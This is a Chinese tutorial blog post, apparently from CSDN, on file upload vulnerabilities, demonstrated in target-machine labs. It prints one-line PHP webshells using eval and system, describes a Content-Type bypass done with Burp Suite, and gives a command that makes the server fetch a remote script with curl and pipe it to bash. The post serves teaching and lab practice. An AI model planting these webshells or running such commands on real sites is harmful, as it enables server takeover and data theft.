网络安全——文件上传漏洞及防御

没有网络安全就没有国家安全
不知攻,焉知防
自动化网络防御体系
监控,比如网卡流量异常的时候,当CPU负载异常的时候
法律原因,不要对任何网站进行渗透扫描和漏扫,都属于有网络攻击的意向,属于犯法行为。
有专门的靶机

文件上传漏洞
没有经过后缀名的筛选,允许任何类的文件上传。
如果是一些php,asp的文件上传后,则相当于黑客直接拿到了webshell,还能通过中国菜刀之类的工具去控制这个网站。
1、文件上传是大部分web应用都具备的功能
2、正常的文件一般是文档图片视频等,web应用收集之后放入后台存储,需要的时候再调用出来返回。
3、如果恶意文件如php、asp等执行文件绕过web应用,并顺利执行,则相当于黑客直接拿到了webshell
4、一旦黑客拿到webshell,则可以拿到web应用的数据,删除web文件,本地提权,进一步拿下整个服务器甚至内网
5、SQL注入攻击的对象是数据库服务,文件上传漏洞主要攻击web服务,实际渗透两种相结合,达到对目标的深度控制。

例子:

实验一(低级别)

靶网站编写人员没有加任何过滤措施。任意文件均可上传
向靶网站上传一个php文件,内容如下(在这个例子里php里面内容$_POST是使用中国菜刀之类的工具连接)

<?php
@eval($_POST['chopper']);
?>

如果网站很low让你上传成功后,上传的php显示了存放在服务端的位置有对应的url加上该网址的url(即传过去的php的url),再一并复制到中国菜刀里面,就可以显示到网站的所有文件系统了,而且还可以任意对这些文件进行更改删除。

实验二(中级别)

靶网站编写加上了允许上传文件类型和文件大小的限制,主要就是识别文件类型(这里不是识别文件名的后缀,而是看请求头的里面描述的文件类型)(image/jpg image是mine类型中的大类)。
绕过文件类型【mine文件类型】
先认识一个东西叫burpsuite
这个东西有代理拦截转发功能
因为 浏览器请求头里面会有 Content-Type这个东西,就来说明文件的类型,首先利用burpsuite把请求拦截下来(先向网站传文件,burpsuite里面有拦截开关,打开了之后向网站传文件的请求会先到burpsuite这里被拦截下来,点击forward转发才会把请求放出去,这个时候就正好用来修改请求包的内容),然后把Content-Type后面的类型改成image/jpg,然后点击forward转发掉请求,然后就可以看见,非image/jpg的文件上传成功了。

实验三(高级别)

这里靶网站就是直接识别文件名的后缀名来筛选了。
这种筛选方式的级别就已经很高了
这里如果用实验二类似的方式,拦截了请求包后把后缀名改掉再转发,然后用中国菜刀打开企图去修改上传了的文件名的后缀的话会发现行不通(甚至找不到这个文件),这个时候就要用到后面的办法了(上传木马图片即文件包含渗透法)。
上传漏洞webshell

webshell

小马:一句话木马也称为小马,即整个shell代码量只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙入侵系统检测到

_REQUEST脚本

例子1
shell2.php

<?php eval($_REQUEST['cmd']);?>

这个php文件成功发送到服务端后,将传文件的网页的url加上这个php文件放在服务端的位置然后加上?cmd=函数名()就可以运行服务端的php函数(因为是eval)。

例子2
shell3.php

<?php system($_REQUEST['cmd']);?>

如例子1那样,在服务端运行该例子后,如果服务端后台是linux,则可以在网页上如例子1那样加上?cmd=任意linux指令,就可以任意操作服务端后台(因为是system)。
上面两个例子都可以在网站上运行指令和函数。
再比如
甚至可以这样
?cmd=curl http://x.x.x.x/a.sh|bash
让服务端用curl在某站下载a.sh脚本然后通过管道交给bash执行

中国菜刀

很难下载到,github可能也没有
中国菜刀可以操作服务端数据库

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值